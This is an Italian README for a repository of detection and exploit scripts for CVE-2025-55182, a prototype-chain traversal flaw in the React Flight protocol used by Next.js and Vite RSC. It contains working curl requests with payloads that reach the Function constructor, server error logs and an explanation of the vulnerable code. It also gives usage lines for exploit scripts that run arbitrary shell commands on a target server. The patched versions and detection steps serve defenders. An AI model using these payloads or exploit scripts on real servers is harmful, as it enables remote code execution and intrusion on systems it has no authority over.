
Rilevamento ed exploit effettivi di CVE-2025-55182. Niente stronzate da LLM.
Vulnerabilità del protocollo React Flight che consente l'attraversamento della catena dei prototipi tramite riferimenti a chunk. Test eseguito contro bullshit-react-project.
Questo è leggermente obsoleto dato che il vero PoC è stato ora rivelato.
Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com
Oppure, per fare entrambi, basta eseguire bash ./detect.sh https://example.com
Entrambi gli script accettano un parametro di timeout opzionale (default 3s per Vite, 5s per Next.js).
Invia l'header x-rsc-action con il payload $1:toString. I server vulnerabili restano appesi indefinitamente; i server patchati rispondono normalmente. Prima verifica l'endpoint RSC (si aspetta un HTTP 500 su azione non valida).
Trova gli ID delle server action nella risposta della pagina (pattern $ACTION_ID_<hash>), quindi invia:
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
I server vulnerabili restano appesi; i server patchati rispondono rapidamente.
Next.js: aggiorna a 16.0.7, 15.5.7 o 15.4.8
React (Vite RSC): aggiorna a 19.0.1+, 19.1.2+ o 19.2.1+
Il protocollo Flight di React consente l'attraversamento della catena dei prototipi tramite riferimenti a chunk. La funzione getOutlinedModel itera attraverso i percorsi dei riferimenti senza controlli hasOwnProperty:
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
Questo consente a $1:constructor:constructor di attraversare {}.constructor.constructor → Function.
Endpoint: qualsiasi percorso con header x-rsc-action
Action ID: 710363d987f5#loginUser (o qualsiasi server action valida)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
Vulnerabile: Internal Server Error
Patchato: risposta normale
Nota che riceverai un errore 500 su un server patchato se i tuoi ID x-rsc-action sono sbagliati. Solo che i log del server saranno diversi.
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
Il costruttore Function è stato invocato tramite .then() quando l'oggetto è stato attendato con await. V8 passa le funzioni resolve/reject come argomenti, che vengono serializzate come function () { [native code] } - da qui l'errore di sintassi.
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
Nessun log del server viene mostrato con un x-rsc-action valido. Puoi trovare il x-rsc-action corretto eseguendo una vera server action e catturando la richiesta negli strumenti di sviluppo.
Il payload $1:toString lascia i server vulnerabili appesi indefinitamente - questo è ciò che usano gli script di rilevamento. Ho provato praticamente di tutto ma non riesco a ottenere RCE.
Per Vite Rsc:
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Per NextJS:
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
Crediti a maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
Ho solo fatto un po' di wrapping e l'ho adattato per Vite, che è puro ESM e quindi non ha require.